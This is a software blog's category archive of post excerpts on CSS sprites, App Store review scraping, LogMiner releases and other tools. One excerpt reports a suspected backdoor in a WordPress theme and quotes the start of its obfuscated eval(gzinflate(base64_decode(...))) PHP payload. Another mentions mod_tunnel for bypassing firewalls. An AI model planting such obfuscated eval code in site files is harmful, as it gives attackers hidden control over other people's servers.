Category Archives: Software

Quick Sprites: CSS sprites, the easy way

The use of CSS sprites is a valuable techique for any web developer who wishes to optimize his web site, making it both faster for users and better ranked by search engines. However, it usually involves more work to pack … Continue reading

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Scraping App Store reviews, page after page…

Someone pointed out that my little scraping script was fetching only some of the reviews of his app. Indeed, it was only considering the first “page” of results. So, I’ve just updated it to grab ‘em all. The new version … Continue reading

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Special Tablatures offer coming up this week

A very special Tablatures offer will be available this weekend at Bits du Jour: a whopping 46% off the regular price! If the only reason why you haven’t started writing your music with Tablatures yet is because you were thinking … Continue reading

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Scraping Mac App Store reviews

You have some products on the Mac App Store, you would like to know what people think of them but you can’t bother checking for reviews one store at a time? Don’t worry, you’re not alone. I can’t understand why … Continue reading

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Serendipity to WordPress

I’ve moved a couple of my blogs from Serendipity to WordPress (mostly because I’ve discovered that Serendipity has some issues with newer PHP setups, but also because I’m getting lazy and WordPress’ admin panel is nicer than s9y’s ;-)). Luckily … Continue reading

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LogMiner 1.23

Version 1.23 of LogMiner, my Apache/IIS log analysis package, is now available. This release mainly fixes some build problem on modern distributions. Also it finally includes the cleanup function I was talking about some days ago…

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Snow Leopard upgrade at $29

Hey, I’m following the live coverage of WWDC and just read this nice detail… that is a good price for a little update, Microsoft should learn a lesson or two…

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Backdoor in WordPress themes?

I was looking for a theme to use in a WordPress blog and I stumbled on this one. Cool, I thought, I might use it… but… hey… why there’s this weird stuff in footer.php? 12345678<? eval(gzinflate(base64_decode(’vZHRasIwFIavV/AdQpCSglSvJ7INV3Aw0 NV2N2MESU9tZpZTkuiE6bsvOrsibre7/c+X/3xJwBg03ECNxkm9ZINoGHTHWEC ePpIRoZVz9XW/r6ReFShWscD3vkDtQLu4ruobWYzCCq0b0XhtFGjhj7Iunyfpc 5K+0EmWzfhkOs/oaxTTcG3kH2CaPOXJPON5+uDRYdAJZEkYk9ptFootwXFRL vlmYRhdKIUf3JfwEmvQNIrIbkdOpNSSe/o3KiJhSMq1Fk6i5rCV1llGS6mAH/u/ … Continue reading

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mod_tunnel for Apache 2.2.x

mod_tunnel is a simple Apache module that can be used to create TCP tunnels using your Web server. It is useful to expose services which can be reached through a proxy, bypassing firewalls. After only 4 years since the previous … Continue reading

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How much would it cost to rewrite it?

I’ve just added LogMiner to Ohloh, a site that offers an interesting feature: it can analyse a project source code and estimate how much it would cost to hire a development team to recreate the project from scratch. I think … Continue reading

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